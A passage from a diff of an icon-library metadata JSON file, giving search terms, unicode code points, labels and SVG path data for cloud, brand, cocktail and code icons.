}, + "free": [ + "solid" + ] + }, + "cloud-showers-heavy": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "precipitation", + "rain", + "sky", + "storm" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f740", + "label": "Cloud with Heavy Showers", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635409, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-sun": { + "changes": [ + "5.4.0", + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clear", + "day", + "daytime", + "fall", + "outdoors", + "overcast", + "partly cloudy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6c4", + "label": "Cloud with Sun", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635411, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-sun-rain": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "day", + "overcast", + "precipitation", + "storm", + "summer", + "sunshower" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f743", + "label": "Cloud with Sun and Rain", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635411, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z" + } + }, + "free": [ + "solid" + ] + }, + "cloud-upload-alt": { + "changes": [ + "5.0.0", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "cloud-upload", + "import", + "save", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f382", + "label": "Alternate Cloud Upload", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635411, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z" + } + }, + "free": [ + "solid" + ] + }, + "cloudflare": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e07d", + "label": "Cloudflare", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785922, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z" + } + }, + "free": [ + "brands" + ] + }, + "cloudscale": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f383", + "label": "cloudscale.ch", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860973, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z" + } + }, + "free": [ + "brands" + ] + }, + "cloudsmith": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f384", + "label": "Cloudsmith", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860973, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 332 512\"><path d=\"M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "332", + "512" + ], + "width": 332, + "height": 512, + "path": "M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z" + } + }, + "free": [ + "brands" + ] + }, + "cloudversify": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f385", + "label": "cloudversify", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860974, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 616 512\"><path d=\"M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "616", + "512" + ], + "width": 616, + "height": 512, + "path": "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z" + } + }, + "free": [ + "brands" + ] + }, + "cocktail": { + "changes": [ + "5.1.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "beverage", + "drink", + "gin", + "glass", + "margarita", + "martini", + "vodka" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f561", + "label": "Cocktail", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635413, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z" + } + }, + "free": [ + "solid" + ] + }, + "code": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "brackets", + "code", + "development", + "html" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f121", + "label": "Code", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635414, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z" + } + }, + "free": [ + "solid" + ] + }, + "code-branch": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "branch", + "code-fork", + "fork", + "git", + "github", + "rebase", + "svn", + "vcs", + "version" + ] + }, + "styles": [ + 